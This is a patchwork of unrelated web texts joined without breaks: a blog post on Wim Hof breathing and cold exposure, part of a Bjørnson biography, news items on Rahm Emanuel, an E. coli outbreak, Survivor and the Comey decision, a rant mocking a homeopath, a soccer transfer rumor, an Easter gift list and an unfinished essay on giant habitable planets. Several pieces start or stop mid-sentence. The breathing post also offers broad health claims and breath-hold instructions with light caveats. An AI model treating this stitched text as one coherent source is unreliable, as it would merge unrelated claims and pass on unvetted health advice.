black.Breathing. We all do it. But we never talk about how to breathe. And that’s a shame. You see, learning how to breathe properly is of great importance. There are times when you need to say something smooth and witty. Maybe you’re talking to a girl you’re interested in. Or maybe you’re the best man at your friend’s wedding, and trying to perform a nice toast. Hell, you might even be performing an improv routine. All eyes are on you. As you gaze upon the audience, your heart starts to raise. You can feel yourself choke up a little… The adrenaline is pumping through your system. Maybe, if you’re really nervous, your hands start to shake a little, and your knees feel weak. Knees weak, arms are heavy… Mom’s spaghetti In the moments where composure and the ability to think on your feet matter the most, our bodies betray us. The trick is to just breathe. If you know how to breathe right, you can regain control over your own bodily functions. You will stop trembling. You will no longer feel weak, and you will be able to channel all that adrenaline and excitement inside you to achieve your goals. When everything is on the line, the trick is to keep breathing. Your brain and body need oxygen to perform optimally. Stress leads to heavy, shallow breathing — which in turn leads to even more stress. Deep, intentional breathing calms us down. That is why meditation is effective at relieving stress and enabling us to concentrate better. When you’re aware of the connection between breathing and your mental/physical state (two sides of the same coin), you can train yourself to manipulate your mind and body “in the moment”. The science of proper breathing In fact, science bears this out. When you breathe properly, the following things happen: You have more energy Your stress levels are reduced Your muscles perform at an optimal level, giving you a higher level of performance in sports Your immune system improves And it goes even deeper than that. In the 1980s, Harvard researcher Herbert Benson found that Tibetan monks could control their body temperature through meditation: During visits to remote monasteries in the 1980s, Benson and his team studied monks living in the Himalayan Mountains who could, by g Tum-mo meditation, raise the temperatures of their fingers and toes by as much as 17 degrees. It has yet to be determined how the monks are able to generate such heat. Other monks could also control their metabolism: They were astonished to find that these monks could lower their metabolism by 64 percent. “It was an astounding, breathtaking [no pun intended] result,” Benson exclaims…. To put that decrease in perspective, metabolism, or oxygen consumption, drops only 10-15 percent in sleep and about 17 percent during simple meditation. Medical researchers have also found that, with the right training, people can learn how to control their body’s fight-or-flight response system — as well as their immune response! Crazy. (The study is extra relevant to me and you, because the researchers looked at people who studied meditation under a man named Wim Hof. I will talk more about him very soon.) Why the cold is your best friend (or worst enemy) Just like breathing, exposing yourself to cold temperatures affects a number of aspects of your brain and body. Showering in cold temperatures improves your metabolism. It stimulates fat loss. It’s even been found to reduce inflammations in your body. Cold temperatures stimulate your body to properly regulate hormone levels… Exposing yourself to cold temperatures through showers (or ice baths!) will improve your sleep quality… And it will even cause your body to release more endorphins. Asceticism and self-mastery Science isn’t everything in life, though. Personally, since learning how to tolerate extremely cold temperatures I have gained additional confidence in myself and my body, and — no matter how silly this sounds — I feel more courageous. Being a professional boxer, I already wasn’t very concerned about pain. I’m used to it. Since proving to myself I can take extremely cold showers, though, I have gained an even better understanding of pain: I now know, better than ever before, that it is more mental than it is physical. That you can choose to let pain control your life… Or to suck it up and power through. When you do the latter, oftentimes the pain will go away altogether. That’s the power of the mind for you. Who is Wim Hof? So who is this Wim Hof guy, anyway? I have only mentioned him briefly so far, and that’s because any introduction to this guy requires its own section of the article. The main thing you need to know about this guy: He is batshit crazy. There is no other way of putting it. I first found out about Wim Hof through Mike Cernovich: There was a 'Not Found' error fetching URL: 'https://twitter.com/cernovich/status/673550470246326273' After seeing Cernovich talk about this guy for several months straight, I had to check him out for myself. Wim Hof is a 58-year-old adventurer and professional daredevil from the Netherlands. His nickname is “The Iceman”, which he earned because of his ability to withstand extreme cold: Wim holds 26 world records (that’s not a typo). One of them is for taking the longest ice bath in the world: 1 hour, 52 minutes, and 42 seconds if you’re wondering — a record that he’s broken several times since then. Imagine spending two hours like this. He also climbed both Mount Everest and Mount Kilimanjaro wearing nothing but shorts and a pair of shoes… He even completed a full marathon above the arctic circle, wearing nothing but shorts. This is what Wim Hof does for a career. Image credit: Mercury Press. On the other extreme side of things, he also ran a full marathon in the Namib desert — without water. Wim Hof in the Namib desert. Wim, probably more than anybody else, has challenged the limits of what the human body is capable of. VICE made a documentary about him, which I highly recommend watching: Why I bought his course Aside from doing crazy stuff all the time, Wim Hof also has a 10-week long video course where he teaches his methods to laymen like me and you. Now, I’m not gonna lie: I was skeptical at first. I wasn’t sure it’d actually help me in any meaningful way, and the relatively high price tag didn’t help (the course costs $199). But then I went over it in my mind. As a professional athlete, I need cardiovascular performance. If I can get an edge on my competitors in this area, that’s worth a lot to me. As an undergraduate student in Physics, I need to be able to focus when I study. Especially considering how busy and stressful my life can be: I’m balancing my sport, my studies, my work, my writing, and my relationship. So if I can reduce the stress produced by my busy lifestyle, and improve my ability to focus… It’s going to pay dividends in all areas of my life. Lastly, I thought, if nothing else it will make for an interesting story. People seriously underestimate how important it is to try new things. In the grand scheme of things, a couple hundred bucks isn’t much. Hell, you can’t do much with that amount of money even now. But an experience? That lasts a lifetime — and pays off in wisdom and character. So I decided to pull the trigger. In late 2016, I bought Wim Hof’s video course. And I’m glad I did. This is what the interface looks like when you’ve purchased the course The Wim Hof Method revealed The breathing technique (which is really a form of meditation) developed by Wim Hof is similar to the meditation forms practiced by the Himalayan monks mentioned earlier on in the article. This is what it consists of: Get comfortable. The first step of the Wim Hof is simple. Sit down in a meditation posture — whichever one is most comfortable for you. Then, make sure you can expand your lungs freely without feeling any constriction. Wim recommends that you do this practice after waking up, since your stomach is still empty. You can also do it right before a meal though. The next step is to take 30 power breaths. Wim says to imagine you’re blowing up a balloon. Inhale through the nose or mouth and exhale through the mouth in short but powerful bursts. Keep a steady pace and use your midriff fully. You should close your eyes and do these power breaths 30 times. You might experience tingling sensations in the body or light-headedness. That’s normal when you’re a beginner. “The Hold”: retention after exhalation. After you’re done with your 30 power breaths, draw the breath in once more. Fill your lungs as much as possible (but without using any force). Then let the air out and hold for as long as you can, again without using any force. Hold your breath until you experience the gasp reflex. Recovery breaths. Now, inhale to full capacity. You’ll feel your chest expanding. Once you are at “full capacity”, hold your breath for around 10 seconds. That’s round one. Repeat about 3 times. Now you’re done with the breathing exercise. Take some time to recover — I’d recover 5-10 minutes. Don’t over-exert yourself, especially in the beginning. Do this exercise daily. After a while, you can add another “round” or two of the exercise. So again, in summary: Sit down comfortably, make sure you can expand your lungs without feeling any constrictions Blow balloons 30 times Breathe in fully Breath out fully, hold (but don’t force it) until you feel the gasp reflex Inhale fully and hold for about 10 seconds Repeat about 3 times Relax and “feel” your body for 5-10 minutes Now, please keep in mind I am not a doctor or health professional. It’s probably best if you consult a pro before you do these exercises, especially if you have had problems with your health in the past. Starting out, I did feel a little light-headedness (which I hear is a pretty common thing). For this reason, you should not do any of these exercises underwater, while driving, standing up, etc. (If you do feel light-headed, take a break.) With all those disclaimers out of the way, I will say this: After doing these exercises for several months now, I have never
In 1877 he published another novel, Magnhild, in which his ideas on social questions were seen to be in a state of fermentation, and gave expression to his republican sentiments in the polemical play Kongen (The King). In a later edition of the play, he prefixed an essay on "Intellectual Freedom" in further explanation of his position. Kaptejn Mansana (Captain Mansana), an episode of the war of Italian independence, was written in to 1878. Extremely anxious to obtain full success on the stage, Bjørnson concentrated his powers on a drama of social life, Leonarda (1879), which raised a violent controversy. A satirical play, Det nye System (The New System), was produced a few weeks later. Although these plays of Bjørnson's second period were greatly discussed, few were financially successful. Bjørnson produced a social drama, En Handske (A Gauntlet), in 1883, but was unable to persuade any manager to stage it except in a modified form. In the autumn of the same year, Bjørnson published a mystical or symbolic drama Over Ævne (Beyond Powers), dealing with the abnormal features of religious excitement with extraordinary force; this was not acted until 1899, when it achieved a great success. Political interests [ edit ] Bjørnstjerne Bjørnson in 1908 From his youth and forwards, Bjørnson admired Henrik Wergeland, and became a vivid spokesman for the Norwegian Left-wing movement. In this respect, he supported Ivar Aasen, and joined forces in the political struggles in the 1860s and 1870s. When the great monument over Henrik Wergeland were to be erected in 1881, it came to political struggle between left and right, and the left-wing got the upper hand. Bjørnson presented the speech on behalf of Wergeland, and also honouring the constitution and the farmers.[1] Bjørnson's political opinions had brought upon him a charge of high treason, and he took refuge for a time in Germany, returning to Norway in 1882. Convinced that the theatre was practically closed to him, he turned back to the novel, and published in 1884 Det flager i Byen og paa Havnen (Flags are Flying in Town and Port), embodying his theories on heredity and education. In 1889 he printed another long and still more remarkable novel, Paa Guds veje (On God's Path), which is chiefly concerned with the same problems. The same year saw the publication of a comedy, Geografi og Kærlighed (Geography and Love), which met with success.[1] A number of short stories, of a more or less didactic character, dealing with startling points of emotional experience, were collected and published 1894. Later plays were a political tragedy called Paul Lange og Tora Parsberg (1898), a second part of Over Ævne (Beyond Powers II) (1895), Laboremus (1901), På Storhove (At Storhove) (1902), and Daglannet (Dag's Farm) (1904). In 1899, at the opening of the National Theatre, Bjørnson received an ovation, and his saga-drama of King Sigurd the Crusader was performed at the opening of Nationaltheatret in Oslo. A subject which interested him greatly was the question of the bondemaal, the adopting of a national language for Norway distinct from the dansk-norsk (Dano-Norwegian), in which most Norwegian literature had hitherto been written. At an early stage, before 1860, Bjørnson had himself experimented with at least one short story written in landsmål. The interest, however, did not last, and he soon abandoned this enterprise altogether. Afterwards, he regretted that he never felt he gained the mastery of this language. Bjørnson's strong and sometimes rather narrow patriotism did not blind him to what he considered the fatal folly of such a proposal, and his lectures and pamphlets against the målstræv in its extreme form were very effective. His attitude towards this must have changed sometime after 1881, as he still spoke on behalf of the farmers at this point. Although he seems to have been supportive of Ivar Aasen and friendly towards farmers (in the peasant-novels), he later denounced this, and stated in 1899 that there was limits to a farmer's cultivation. I can draw a line on the wall. The farmer can cultivate himself to this level, and no more, he wrote in 1899. Rumour has it that he had been insulted by a farmer at some point, and uttered the statement in sheer anger. In 1881, he spoke of the farmer's clothing borne by Henrik Wergeland, and his opinion then states that this garment, worn by Wergeland, was "of the most influential things" in the initiation of the national day. Bjørnson's attitude towards the farmers remain ambiguous. His father himself was a farmer's son. During the last twenty years of his life he wrote hundreds of articles in major European papers. He attacked the French justice in the Dreyfus Affair, and he fought for the rights of children in Slovakia to learn their own mother tongue. "To detach children from their mother tongue is identical to tearing them away from their mothers breasts," he wrote. Bjørnson wrote in multiple newspapers about the Černová massacre under the title The greatest industry of Hungary – which was supposedly 'to produce Magyars'. Last years [ edit ] Vikingen of a telegram exchange between Michelsen and Bjørnson. Illustration fromof a telegram exchange between Michelsen and Bjørnson. Bjørnson was, from the beginning of the Dreyfus Affair, a staunch supporter of Alfred Dreyfus, and, according to a contemporary, wrote "article after article in the papers and proclaimed in every manner his belief in his innocence". Bjørnson was one of the original members of the Norwegian Nobel Committee, that awards the Nobel Peace Prize, where he sat from 1901 to 1906.[6] In 1903 he was awarded the Nobel Prize in Literature. Bjørnson had done as much as any other man to rouse Norwegian nationalistic feeling, but in 1903, on the verge of the rupture between Norway and Sweden, he preached conciliation and moderation to the Norwegians. However, in 1905 he largely remained silent. When Norway was attempting to dissolve the forced union with Sweden, Bjørnson sent a telegram to the Norwegian Prime minister stating, "Now is the time to unite." The minister replied, "Now is the time to shut up."[1] This was in fact a satirical illustration published in Vikingen, but the story got so popular and widespread that Bjørnson had to deny it, claiming that "Michelsen has never asked me to shut up; it would not help if he did".[7] He died on 26 April 1910 in Paris, where for some years he had spent his winters, and was buried at home with every mark of honour. The Norwegian coastal defence ship HNoMS Norge was sent to convey his remains back to his own land. Bjørnson's family [ edit ] Bjørnstjerne Bjørnson and his family, 1882. Bjørnson was the son of the Reverend Mr. Peder Bjørnson and Inger Elise Nordraach. He married Karoline Reimers (1835–1934) in 1858.[2] They had six children, five of whom lived to adulthood: Karoline Bjørnson remained at Aulestad until her death in 1934.[8] In his early fifties, Bjørnson had an affair with 17-year-old Guri Andersdotter (d. 1949), which resulted in the birth of their son, Anders Underdal (1880–1973). The affair was kept a secret, though early on Anders Underdal, a poet, would talk about his origins with his children. Later in life he stopped discussing the matter, no reason was given. Anders was the father of Norwegian-Swedish author Margit Sandemo. Audun Thorsen has written a book about Bjørnson's affair; "Bjørnsons kvinne og Margit Sandemos "familiehemmelighet" (Genesis forlag, Oslo 1999). Bibliography [ edit ] Mellem Slagene, (Between the Battles) saga drama, 1857 , (Between the Battles) saga drama, 1857 Synnøve Solbakken, peasant story, 1857 , peasant story, 1857 Arne, 1859 , 1859 En glad Gut, (A Happy Boy) 1860 , (A Happy Boy) 1860 Halte-Hulda, (Lame Hulda) 1858 , (Lame Hulda) 1858 Kong Sverre, (King Sverre) 1861 , (King Sverre) 1861 Sigurd Slembe, (Sigurd the Bad) 1862 , (Sigurd the Bad) 1862 Maria Stuart i Skotland, (Mary Stuart in Scotland) 1863 , (Mary Stuart in Scotland) 1863 De Nygifte, (The Newly Married) 1865 , (The Newly Married) 1865 Fiskerjenten, 1868 , 1868 Arnljot Gelline, epic cycle 1870 , epic cycle 1870 Digte og Sange, (Poems and Songs) 1880 , (Poems and Songs) 1880 Brudeslåtten, peasant story, 1872 , peasant story, 1872 Sigurd Jorsalfar, saga drama, 1872 , saga drama, 1872 En fallit, (The Bankrupt) drama, 1875 , (The Bankrupt) drama, 1875 Redaktøren, (The Editor) drama, 1875 , (The Editor) drama, 1875 Kaptejn Mansana, (Captain Mansana) novel, 1875 , (Captain Mansana) novel, 1875 Kongen, (The King) 1877 , (The King) 1877 Magnhild, 1877 , 1877 Det ny system, (The New System) 1879 , (The New System) 1879 Leonarda, 1879 , 1879 En hanske (A Gauntlet), 1883 (A Gauntlet), 1883 Støv (Dust), 1882 (Dust), 1882 Over ævne, første stykke, (Beyond Human Power – I) 1883 , (Beyond Human Power – I) 1883 Det flager i byen og på havnen, (translated as "The Heritage of the Kurts") 1884 , (translated as "The Heritage of the Kurts") 1884 På guds veje, (In God's Way) 1889 , (In God's Way) 1889 Fred, oratorium, 1891 , oratorium, 1891 Over oevne, annet stykke, (Beyond Human Power – II) 1895 , (Beyond Human Power – II) 1895 Paul Lange og Tora Parsberg, 1898 , 1898 Daglannet, 1904 , 1904 Når den ny vin blomstrer, (When the New Wine Blooms) 1909 , (When the New Wine Blooms) 1909 Norges Vel, kantat, 1909 See also [ edit ] References [ edit ] Sources [ edit ]8 years ago (CNN) - Three Democratic sources close to Rahm Emanuel tell CNN that the White House chief of staff informed senior colleagues he is all but certain to run for mayor of Chicago, and will leave the White House to take the final exploratory steps. Close associates are already building a campaign team according to sources. An announcement by Emanuel is expected to be scheduled for Friday, sources said. One of the sources, a prominent Democrat close to the White House chief of staff, told CNN, "We see nothing that will stop a run. But you don't announce a campaign for mayor of Chicago in Washington, D.C. You leave and go home and finish your business there." The second source said Democratic pollster Stanley Greenberg's research of a possible mayoral run for Emanuel was "very positive. He has some obvious things to deal with, but it was very encouraging." Asked what the potential issues were, the source said "nothing you wouldn't expect. Just reminding people Chicago always was before Washington." Assuming there is no hitch - and none is expected - longtime Obama adviser Pete Rouse is in line to be tapped as interim chief of staff, two of the sources said. All of the sources spoke on condition of anonymity because of the sensitivity of the White House personnel turnover and the campaign planning. More: Rahm Emanuel's pending departure is the lead-off topic for CNN's John King and Bob Costantini. To subscribe to the Political Notebook podcast in iTunes click here:when a homeopath goes full mental jacket Homeopath John Benneth is trying to make a name for himself as both a scientifically illiterate quack and a self-pitying conspiracy theorist. You probably don’t remember homeopath John Benneth, mentioned here for his pretty stunning ignorance of middle school physics when trying to explain how his magic water works, and known on a several popular medical blogs for his unhinged rants on YouTube in which he takes Godwin’s Law to new heights (or would lows be more appropriate in this case?), and uses slavery as a metaphor for what happens to alt med frauds like himself. Apparently, there’s a sinister cabal of doctors who are burning homeopaths in gas chambers by the millions just for being homeopaths, or legally keeping them as slaves. Yeah, I know, I don’t get his raving either, but methinks the man needs a sedative because he’s quite unwell. Lately, he’s been listening to more voices in his head and decided to publish a tract about how every single problem in the U.S. could be solved simply by applying the right sugar pills sprinkled with water containing half an atom of some herb or minerals selected using 19th century pseudoscience, even pedophilia and child abuse. Now, you may ask yourself if a blogger like me is really about to pick on someone who’s quite clearly a lunatic, and the answer is yes. Even woo-meister, professional idiot and conspiracy theorist Mike Adams may have found his match with this fellow, who’s so woefully and appaulingly uneducated, he thinks water will get 135,000 kids to stop taking guns to schools because they’re afraid of school gangs, shootings, and being bullied, and end serious racial discrimination in the justice system while ending domestic abuse for millions of women. Hold on, you might say, this may well be a big Poe. And as nice as it would be to find out that Benneth only wanted to parody just how conspiracy-obsessed and scientifically ignorant too many homeopaths are, he’s been at this for a while and shows every intent of being deadly serious. Even those whose support his talks admit that he’s horridly deficient in popular science topics, much any less high level scientific research, and resort to the good, old well-we-need-to-hear-more-opinions defense, apparently even if those opinions are coming from a loon who trumpets that he’s found proof that Big Pharma and the WHO want to tax the internet to get rich. Answers to any requests for evidence or sources tend to be met with more incoherent rambling, the type you’d probably expect from a random drunk sitting at an intersection and shouting at invisible people across the street. Sure that was harsh, but we’re talking about a man who spews blithering nonsense and whose proof for just about any assertion he makes is simply stating something to be true, then resorting to conspiracy theories to explain why he’s unable to define basic terms like radiation and energy. That’s just sad. Appealing to a grand, far-reaching conspiracy to support your allegations in lieu of tangible proof is the adult version of saying that a dog ate your homework. It just doesn’t fly. And not only that but it’s infuriatingly annoying. As someone working with computers, I wouldn’t even dream of trying to lecture doctors or biologists because they know their fields much better than I do. But not Benneth and other self-aggrandizing cranks like him. No, they march right in to teach everyone how modern science has everything wrong and how your inability to see some babbling fool’s wisdom hidden somewhere in an impenetrable layer of vacuous technobabble means that you’re working for the nefarious agents of Big Whatever without an instant of hesitation. Truly the victims of the Dunning-Kruger effect, they’re absolutely incapable of telling where their competence ends, and for Benneth, that’s trying to do something other than incoherently and indignantly ramble about Big Pharma. Having leveled enough ridicule at cranks, I can expect that fans of homeopathy or just those who’ll often prefer tone over substance and find themselves terribly offended at me declining to hold back in my opinion, will say that I haven’t really addressed his claims with science and thus, have no right to ridicule him the way I do. And while I can see how this would be a valid criticism, how am I supposed to counter an assertion that taking an obscure homeopathic remedy will end the racial biases in American courts or curtail unemployment? Where is there a scientific claim or a description of a mechanism for how this is supposed to happen? There isn’t so much as a shred of anything scientific for me to rebut, not even the typical science buzzword salad I could take apart and analyze, as I did with his explanation for how homeopathy is supposed to work in general. Trying to counter nothing but the foaming-at-the-mouth ranting of a very angry lunatic and his categorical proclamations so utterly devoid of logic or sense, one wonders how he could commit them to written form in all seriousness, is a fool’s errand at best, and simply aggravating at worst. Skeptics are limited by facts. Cranks are limited by their imagination. They can spew a hundred bits of nonsense in the time it takes us to refute just one, and the ravings of John Benneth about homeopathy’s ability to fix anything, anywhere, are a prime example of that.Survivor will debut its 32nd season on Feb. 17 with the premiere of Survivor: Kaôh Rōng. But while the basic premise of people stranded in a remote location and having to vote each other out of the game has stayed intact since the reality hit first debuted in the summer of 2000, the show has never been afraid to tinker with the format and twists that go along with it. EW can now reveal the latest wrinkle in the game. While the concept of hidden immunity idols that are found and can protect players from being voted out when used was first introduced in Survivor: Guatemala (season 11), the specifics of the idols in terms of where they were hidden and when they could be used in the voting process have varied from season to season. RELATED: Ranking Every Season of Survivor Now, in the Kaôh Rōng season, for the first time, an idol will actually have a potential second power. “This season, the hidden immunity idol is used like never before,” host Jeff Probst tells EW. “The big idol twist this season is that an idol has two separate powers. If you find an idol, it has the regular powers of a normal idol, But when put together with another idol — two can actually fit together — they can be used as one super idol that can be played after the votes are read.” So any immunity idol found will be able to be used on its own at Tribal Council after the votes are cast but before they are read. However, if it is combined with a second idol it can be used as a safety net after the votes are read and it is clear who has ben voted out, thereby saving that person. “If an idol is used alone it plays as always — after the votes are cast but before they are read,” explains Probst. “But if you find someone else who has an idol and you are willing to combine your idols and play them together for one move, then you can play the idol after the votes have been cast and after they have been read. It essentially becomes a free pass. But you can obviously only use it for one person, so that means that you have to have a strong alliance because at least one of you is giving up their own personal protection to save their partner or possibly a third person. It has the potential to be a massive game changer, but like all big moves it requires a big risk.” Another element to the new twist is that only those who find hidden idols will know about it. “A fun by-product of Survivor having been played so many times is that not everybody believes everything they are being told,” says Probst. “This could be a situation where someone shares the info with an alliance member but isn’t believed because it’s just too outrageous. In this sense, the history of Survivor has become its own twist.” Having an idol that can be played after the votes are revealed has been done before, most recently in Survivor: Cagayan (season 28), but never has an idol been able to be played in two different ways. So now, should someone have two idols (as eventual winner Jeremy Collins did in last season’s Survivor: Cambodia — Second Chance), they could plan to hold on to each to use individually at separate Tribal Councils while having the safety net of combining them on the spot should they be blindsided. “You have the security of knowing you cannot be voted out,” says the host. “You simply play them both together and their power is unstoppable. But, it’s a very rare situation for someone to have two idols. The other scenario is you have to seek out someone else who has an idol and convince them to trust you —another rare event — enough to use your idols together.” We’ll find out if this new combo-idol power comes into play when Survivor: Kaôh Rōng premieres on Feb. 17 at 8 p.m. ET on CBS.Media playback is unsupported on your device Media caption The Andalucian agriculture minister ate a cucumber to show her confidence in the vegetables A deadly E. coli outbreak in Europe is expected to worsen in coming days, a senior German scientist has said. Fourteen people have died in Germany and one woman has now died in Sweden after a trip to Germany. "We hope the number of cases will go down but we fear it will worsen," said Oliver Grieve, of the University Medical Centre Schleswig-Holstein, where many victims are being treated. It is thought cucumbers from Spain caused the outbreak. But Spanish officials have refused to accept the blame, saying it is still unclear exactly when and where the vegetables were contaminated. The president of Spain's fruit and vegetable export federation has urged the government to deal with the outbreak, saying it was costing Spanish exporters $200m (£120m) a week. Asked which countries had stopped buying Spanish produce, Jorge Brotons reportedly told a news conference: "Almost all Europe. There is a domino effect on all vegetables and fruits." Travel link The World Health Organization (WHO) has described the outbreak as "very large and very severe" and has urged countries to work together to find the source of contamination. Media playback is unsupported on your device Media caption EC spokesperson Pia Ahrenkilde Hansen: "We are still getting the full picture" The Robert Koch Institute (RKI), Germany's national disease institute, has confirmed 329 cases in the country - though some reports have mentioned as many as 1,200 cases. In Sweden, authorities earlier said there were 36 suspected E. coli infections, all linked to travel in northern Germany. On Tuesday, Swedish authorities said a woman in her 50s had died in hospital, after being admitted on Sunday following a trip to Germany. Cases have also been reported in Switzerland, Denmark, the Netherlands and the UK. This is believed to be an outbreak of the 0104 strain of E. coli. In many instances, the gastrointestinal infection has led to Haemolytic-uraemic Syndrome (HUS), which causes kidney problems and is potentially fatal. Suspicion has fallen on organic cucumbers from Spain imported by Germany but then re-exported to other European countries, or exported directly by Spain. Cucumbers from the cities of Almeria and Malaga have been identified as possible sources of contamination, according to an EU spokeswoman. Wider ban threatened Several countries have taken steps to curtail the outbreak, such as banning cucumber imports and removing the vegetables from sale. On Monday, Spanish Agriculture Minister Rosa Aguilar denied Spanish vegetables were to blame, and said Spain would look into claiming damages for losses incurred. "Our understanding is that the problem does not come from the [country of] origin," Ms Aguilar was quoted as saying by AFP news agency. "The image of Spain is being damaged, Spanish producers are being damaged and the Spanish government is not prepared to accept this situation," she said. Media playback is unsupported on your device Media caption Dr Rosemary Leonard says salad vegetables should always be washed She also urged Germany to wrap up its investigation into the cause of the outbreak. The results of the probe are not expected before Tuesday or Wednesday, officials said. German authorities have warned people to avoid eating raw cucumbers, tomatoes and lettuce. They have also warned the outbreak may get worse as its source may still be active. The sickness is not directly contagious but it can be transferred between people if an infected person prepares food for others.With less than two weeks until the Seattle Sounders officially open preseason training camp and about six weeks before they play their first competitive match of the year, transfer rumors are suddenly starting to heat up. The latest is that a pair of Colombian clubs are looking at the possibility of signing Nelson Haedo Valdez. Although Atletico Nacional is one of those two clubs and was reportedly looking to bolster their roster for Copa Libertadores, the stronger links appear to be tying Indepiendente Medellin to Valdez. The storied club has reportedly reached out to Valdez about potentially joining the team, but it's unclear if the interest in mutual. One of the obvious stumbling blocks to such a transfer getting done is that Valdez is currently under contract with the Sounders and it's possible the Sounders would require a transfer fee. Even if they didn't, Valdez's reported salary of $1.2 million might be prohibitive. That said, freeing up Valdez's Designated Player spot might have some attraction for the Sounders. Valdez played reasonably well after joining the Sounders in August and scored three goals and three assists in about 650 minutes across all competitions, including one against the LA Galaxy in the playoffs. But the 32-year-old also struggled with injuries and could be missing for chunks of time if he's named to Paraguay's World Cup qualifying or Copa America teams.Picking out things to go in a toddler’s Easter basket can be tricky. You don’t want to go all out like you do for Christmas, but you want to get them something special other than just chocolate and candy. Here are 21 relatively cheap ideas to help you out! {This post contains affiliate links, which means I may receive a small commission, at no cost to you, if you make a purchase through a link.} 1. Bath Toys Toot loves squirt toys like these. A few of her other favorites are foam letters and numbers, this fun bathtime fishing toy, and these Melissa and Doug sea creatures. All are relatively cheap and great for an Easter basket. 2. Ball Pit Balls You don’t actually need to have the ball pit to play with ball pit balls. You can put them in a Pack N Play. If you get 200 balls, it’s just enough to fill the bottom of a Pack N Play. You can buy a smaller set of 100 if you don’t want to spend that much. There are a few different things you can do with ball pit balls. 3. New Clothes Who doesn’t love new clothes? I like to buy pretty fancy dresses for Toot even though she never has anywhere to wear them. If you’re the church-going type, buy a new church outfit for your little one! Or just get some new play clothes or dress-up clothes! 4. Bouncy Balls I wouldn’t get a bunch of little bouncy balls for a toddler under 3, but there are some bigger ones they can have fun with. And these spiky balls light up when you bounce them. 5. Play food I love Melissa and Doug. They have fantastic play food too. If you don’t want to do wooden food (or plastic food), they also have felt food play sets like the sandwich making set. 6. A Stuffed Bunny The Easter Bunny leaves stuffed bunnies, right? Toot absolutely loves stuffed animals. I have my eye on this one for her Easter Basket. But there are tons to choose from. 7. Books Of course, I’m going to suggest books. Books are my favorite thing. (And Toot’s favorite thing!) You can get a whole set of board books relatively cheaply or get a pretty picture book like The Day the Crayons Quit. Or even get a bunny themed book like Guess How Much I Love You (assuming you don’t already have 3 copies like us.) 8. Bubbles Bubbles are always a good inexpensive item to throw into an Easter basket. If you want to go all out, get a bubble machine. It does the work for you! 9. A Kite What’s a better spring activity than flying a kite? Look, this one’s an ice cream cone! Of course, you can go traditional. But FLYING ICE CREAM! 10. Toddler Plate Sets Kids love things with their favorite characters on them. Why not take this gift-giving opportunity to get them something that they can actually use practically. Here’s a Paw Patrol set, but there are so many options when buying toddler place settings. 11. A Tunnel We have this tunnel, and I’m surprised at how much she wants to play with it. We originally bought it to help her learn to crawl, but she uses it much more now that she’s a toddler. It folds up flat pretty easily. 12. Cars Toot could play with cars all day. Fun little cars can fit in Easter eggs or just pile them in the basket! 13. Movies What kid doesn’t love a new movie? I want to get Sing for Toot because it looks really cute. I also have my eye on Zootopia and Trolls. 14. Build-a-Bear I love Build-a-Bear! I have probably three myself. Toot has two now. You can buy a gift card to put in the basket or just order a bear yourself. 15. Blocks These nesting blocks are fun. But you could always go with traditional wooden blocks. They build engineering skills! 16. Snacks Instead of giving candy, the Easter Bunny could leave fruit snacks or crackers. Toot loves Annie’s Cheddar Bunnies! They’re perfect for Easter! 17. A Photo Book We have this photo book that Toot likes to flip through and look at all of the photos of her family. There are also a couple photos of herself in it. Toddlers are so narcissistic. They love to look at themselves. 18. Hand or Finger Puppets Cute little finger puppets are small and inexpensive gifts that look great in an Easter basket. If you’d rather not have tiny little guys, go with hand puppets. The ones that Melissa and Doug make are really soft. (Do you sense a Melissa and Doug theme? I love that brand!) 19. Magnets Magnet letters are a great addition to an Easter basket! You have to be careful when letting a toddler play with magnets, though. Toot likes to try and bring them into the living room and put them near my phone and laptop. Not cool. Also, they’re kind of a choking hazard, but what isn’t? She’s learning her letters! 20. New Shoes Toddlers are in constant need of new shoes because their feet grow so fast! You might as well throw some new shoes into the basket as a “gift.” The best gifts are things they need. 21. Stickers Toot loves stickers. She puts them everywhere. I’ve found stickers on the bottom of my foot. lol Plus, they’re cheap! Check out these Eric Carle stickers I found! What’s going in your toddler’s Easter basket? Let me know in the comments below! You Also Might Like: Pin for later: Get Access to My Free Mom Resource Library! Get instant access to a library of ever expanding free resources for moms! Printables, coloring pages, free ebooks, playlists, and more! Plus weekly parenting tips and mom hacks right in your inbox. Success! Now check your email for the super secret password to get access!Top Republicans said Tuesday that the FBI needs to release details of its investigative files on former Secretary of State Hillary Clinton if it wants voters to accept its conclusion that her carelessness with top secret information doesn’t rise to the level of a prosecutable crime. House Speaker Paul D. Ryan said FBI Director James Comey’s decision not to recommend prosecution “defies explanation,” and Senate Judiciary Committee Chairman Charles E. Grassley said Mr. Comey needs to do more to convince Americans he made the right call. “If it wants to avoid giving the impression that the FBI was pulling punches, because many people in a similar situation would face some sort of consequence, the agency must now be more transparent than ever in releasing information gathered during its investigation,” Mr. Grassley, Iowa Republican, said. Mr. Comey, in an extraordinary statement earlier Tuesday, detailed a number of Mrs. Clinton’s transgressions, including that her server may have been hacked by enemy agents, that she was reckless in doing top secret business on her private account, and that she and her lawyers failed to turn over all of her government records. But Mr. Comey said the FBI couldn’t find another example where someone in that same situation had been successfully prosecuted, so he said they would recommend no charges. The final decision lies with President Obama’s top law enforcement officer, Attorney General Loretta Lynch. Mr. Ryan said voters “need more information about how the Bureau came to this recommendation.” Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The question is of course ill-defined, since “largest”, “possible”, “inhabitable” and “world” are slippery terms. But let us aim at something with maximal surface area that can be inhabited by at least terrestrial-style organic life of human size and is allowed by the known laws of physics. This gives us plenty of leeway. Piled higher and deeper We could simply imagining adding more and more mass to a planet. At first we might get something like my double Earths, ocean worlds surrounding a rock core. The oceans are due to the water content of the asteroids and planetesimals we build them from: a huge dry planet is unlikely without some process stripping away water. As we add more material the ocean gets deeper until the extreme pressure makes the bottom solidify into exotic ice – which slows down the expansion somewhat. Adding even more matter will produce a denser atmosphere too. A naturally accreting planet will acquire gas if it is heavy and cold enough, at first producing something like Neptune and then a gas giant. Keep it up, and you get a brown dwarf and eventually a star. These gassy worlds are also far more compressible than a rock- or water-world, so their radius does not increase when they get heavier. In fact, most gas giants are expected to be about the size of Jupiter. If this is true, why is the sun and some hot Jupiters much bigger? Jupiter’s radius is 69,911 km, the sun radius is 695,800 km, and the largest exoplanets known today have radii around 140,000 km. The answer is that another factor determining size is temperature. As the ideal gas law states, to a first approximation pressure times volume equals temperature: the pressure at the core due to the weight of all the matter stays roughly the same, but at higher temperatures the same planet/star gets larger. But I will assume inhabitable worlds are reasonably cold. Planetary models also suggest that a heavy planet will tend to become denser: adding more mass compresses the interior, making the radius climb more slowly. The 